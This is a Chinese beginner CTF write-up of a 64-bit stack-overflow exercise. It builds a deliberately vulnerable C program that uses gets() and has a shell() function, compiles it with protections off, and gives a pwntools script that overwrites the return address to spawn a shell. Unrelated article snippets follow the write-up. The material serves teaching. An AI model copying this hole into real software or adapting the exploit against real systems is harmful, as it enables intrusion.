第一道pwn栈溢出题

news2024/12/22 17:24:47

代码和解题思路来自启明星辰的《ctf安全竞赛入门》,当然还有好多热心的师傅们的指导。

1.代码:

#include "stdio.h"
void shell()
{
    system("/bin/sh");
}
void vuln()
{
    printf("Please input your name:\n");
    char s[8];
    gets(s);
    printf("%s\n",s);
}
void main()
{
    printf("**Welcome to the simple pwn1**venus\n");
    vuln();
}

2.在虚拟机中使用gcc编译

****需要加参数

gcc  -fno-stack-protector  -z execstack  pwn1.c  -o pwn1 -no-pie

这里的pwn1.c是刚才代码的文件名字,pwn1是目标文件名字。

最后是用来关闭no-pie

编译过程中可能会有警告,不用管。

3.查看栈结构

然后放到ida里边。

找到vlun函数,可以在左侧点击。

发现s数组距离返回地址是8h然后就是ebp

在64位程序中,ebp是8个字节,32位是4个字节哈。

这样的话就可以写脚本了。

4.shell地址

因为咱们想获取中端嘛。就是shell的地址。

在ida查看:

5.栈对齐ret

因为64位程序要求栈对齐所以需要ret

ret是这样看的:

前提是要安装ROPgadget哈

6.写攻击脚本

from pwn import *  #导入pwntools包
p1=process('./pwn2')  #执行的文件
payload=b"a"*(0x10)+p64(0x401016)+p64(0x401146)    #第一个是垃圾数据,就是填充本来应该输入的数据(8个字节),然后覆盖掉ebp(8个字节),再然后写下ret指令,最后写入shell地址
p1.sendline(payload)
p1.interactive()

b“a”:

将a转换成二进制,要不然的话和后边的类型不同不能拼接。

p64():

因为用的是64位,所以是p64

如果是32位就是p32

将整数转换成二进制

第二个数据是ret,好像是64位的文件就要进行栈对齐。

最后一个是返回地址,写的是shell就会执行shell

关于ROPgadget的下在和简单使用参考这篇文章:

(2条消息) (Pwn)CTF工具 ROPgadget 的安装与使用介绍_ropgadget命令_半岛铁盒@的博客-CSDN博客

如果下载不了可以用github下就是第一个 python-capstone,其实在安装pwntools的时候有装过的,只是没有带python,然后就是如果软件下载不了就需要换下源,然后更新下。

实在不行,就在主机上通过github下载,然后解压,在粘贴到虚拟机里。

关于ret栈对齐的知识参考这篇文章

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/386797.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实现pdf文件预览

前言 工作上接到的一个任务,实现pdf的在线预览,其实uniapp中已经有对应的api:uni.openDocument(OBJECT)(新开页面打开文档,支持格式:doc, xls, ppt, pdf, docx, xlsx, pptx。)**实现了相关功能…

冬奥会信息管理系统

摘 要伴随着社会以及科学技术的发展,互联网已经渗透在人们的身边,网络慢慢的变成了人们的生活必不可少的一部分,紧接着网络飞速的发展,系统管理这一名词已不陌生,越来越多的体育馆等机构都会定制一款属于自己个性化的管…

【小程序】盒模型笔记

边框样式参数border中solid是实线,dotted是点状,dashed是虚线。还有其它一些,double(双边框),groove,ridge,inset,outset等3D边框。可单独拎出来定义边框宽度,border-width由前篇可知,padding\margin上下左…

Python 元类编程实现一个简单的 ORM

概述 什么是ORM?    ORM全称“Object Relational Mapping”,即对象-关系映射,就是把关系数据库的一行映射为一个对象,也就是一个类对应一个表,这样,写代码更简单,不用直接操作SQL语句。 现在我们就要实…

白盒测试重点复习内容

白盒测试白盒测试之逻辑覆盖法逻辑覆盖用例设计方法1.语句覆盖2.判定覆盖(分支覆盖)3.条件覆盖4.判定条件覆盖5.条件组合覆盖6.路径覆盖白盒测试之基本路径测试法基本路径测试方法的步骤1.根据程序流程图画控制流图2.计算圈复杂度3.导出测试用例4.准备测试用例5.例题白盒测试总…

简单介绍编程进制

十进制 十进制的位权为 10,比如十进制的 123,123 1 * 10 ^ 2 2 * 10 ^ 1 3 * 10 ^ 0。 二进制 二进制的位权为 2,比如十进制的 4,二进制为 100,4 1 * 2 ^ 2 0 * 2 ^ 1 0 *2 ^ 0。 Java7 之前,不支…

【PyTorch】教程:torch.nn.Hardshrink

torch.nn.Hardshrink CLASS torch.nn.Hardshrink(lambd0.5) 参数 lambd ([float]) – the λ\lambdaλ 默认为 0.5 定义 HardShrink(x){x,if x>λx,if x<−λ0,otherwise \text{HardShrink}(x) \begin{cases} x, & \text{ if } x > \lambda \\ x, & \text{…

1528. 重新排列字符串

1528. 重新排列字符串https://leetcode.cn/problems/shuffle-string/ 难度简单52收藏分享切换为英文接收动态反馈 给你一个字符串 s 和一个 长度相同 的整数数组 indices 。 请你重新排列字符串 s &#xff0c;其中第 i 个字符需要移动到 indices[i] 指示的位置。 返回重新…

Python写一个自动发送直播弹幕的工具,非常简单

哈喽大家好&#xff0c;今天给大家用Python整一个可以在直播间自动发弹幕的工具&#xff0c;来为喜欢的主播疯狂扣6 &#xff01; 事情原由昨晚回家&#xff0c;表弟在看LOL直播&#xff0c;看得我气不打一处来&#xff0c;差点就想锤他。 身为程序员的表弟&#xff0c;看直…

教师论文|科技专著管理系统

技术&#xff1a;Java、JSP等摘要&#xff1a;随着计算机和互联网技术的发展&#xff0c;社会的信息化程度越来越高&#xff0c;各行各业只有适应这种发展趋势&#xff0c;才能增强自己的适应能力和竞争能力&#xff0c;不断发展壮大。大学作为教育的基地&#xff0c;是社会进步…

Java 方法简介

如果需要经常做某一操作&#xff0c;则需要重复写类似的代码&#xff0c;比如查找某个数。此外&#xff0c;某些复杂的操作需要分成多个步骤进行&#xff0c;以便理解和维护。 为此&#xff0c;计算机引入了函数的概念&#xff0c;用来减少重复代码&#xff0c;分解复杂操作。…

【Servlet篇3】HttpServletResponse的常用方法

HttpServletResponse代表的是一个HTTP请求对应的响应。 在这一篇文章当中&#xff0c;已经提到了HTTP响应是由哪几部分组成的&#xff1a; 【网络原理7】认识HTTP_革凡成圣211的博客-CSDN博客HTTP抓包&#xff0c;Fiddler的使用https://blog.csdn.net/weixin_56738054/articl…

ChIP-seq 分析:数据与Peak 基因注释(10)

动动发财的小手&#xff0c;点个赞吧&#xff01; 1. 数据 今天&#xff0c;我们将继续回顾我们在上一次中研究的 Myc ChIPseq。这包括用于 MEL 和 Ch12 细胞系的 Myc ChIPseq。 可在此处[1]找到 MEL 细胞系中 Myc ChIPseq 的信息和文件可在此处[2]找到 Ch12 细胞系中 Myc ChIP…

UE5 报错记录

文章目录The following modules are missing or built with a different engine versionXXX could not be compiled. Try rebuilding from source manaually添加组件时提示未定义标识符或函数名法一方法二方法三The following modules are missing or built with a different e…

MediaTek 天玑 8000 5G移动平台详细参数

MediaTek 天玑 8000 移动平台 采用先进的 台积电 5nm 工艺&#xff0c;拥有出众的性能和能效&#xff0c;为高端智能手机用户提供出色的高帧率游戏和 5G 移动体验。 天玑 8000 采用了 MediaTek 诸多先进技术&#xff0c;内置 MediaTek Imagiq 780影像引擎、第五代 AI 处理器APU…

【存储】存储阵列结构

存储阵列结构存储是什么DAS&#xff08;Direct Attached Storage&#xff09;DAS遇到的挑战SAN&#xff08;Storage Area Network&#xff09;FC SAN与IP SAN比较SAN存储应用NAS&#xff08;Network Attached Storage&#xff09;NAS SAN DAS架构SAN与NAS存储的基本区别存储架构…

2023年湖北省建设厅特种工电工架子工怎么报考?甘建二告诉你

2023年湖北省建设厅特种工考试&#xff0c;本人来走过场&#xff0c;即可通过考试哟 2023年湖北省建设厅特种工工种&#xff1a;&#xff08;官方公布&#xff09; 建筑电工&#xff0c;建筑架子工&#xff0c;建筑起重信号司索工&#xff0c;建筑起重机械司机&#xff0c;塔式…

蓝桥杯 python datetime基础

datetime datetime对象可以用来表示精确的日期和时间&#xff0c;其实例化方法如下&#xff1a; import datetime today datetime.datetime(year2022,month9,day21)print(today)print(today.year)#返回datetime对象中的年份print(today.month)#返回datetime对象中的月份prin…

CentOS 7.9安装Zabbix 4.4《保姆级教程》

CentOS 7.9安装Zabbix 4.4一、配置一览二、环境准备设置Selinux和firewalld设置软件源1.配置ustc CentOS-Base源2.安装zabbix 4.4官方源3.安装并更换epel源4.清除并生成缓存三、安装并配置Zabbix Server安装zabbix组件安装php安装mariadb并创建数据库修改zabbix_server.conf设置…

volatile底层-CPU缓存一致性协议MESI

目录 volatile底层-CPU缓存一致性协议MESI CPU高速缓存&#xff08;Cache Memory&#xff09; 带有高速缓存的CPU执行计算的流程 目前流行的多级缓存结构 多核CPU多级缓存一致性协议MESI MESI协议缓存状态 MESI状态转换 多核缓存协同操作 ​编辑单核读取 双核读取 修…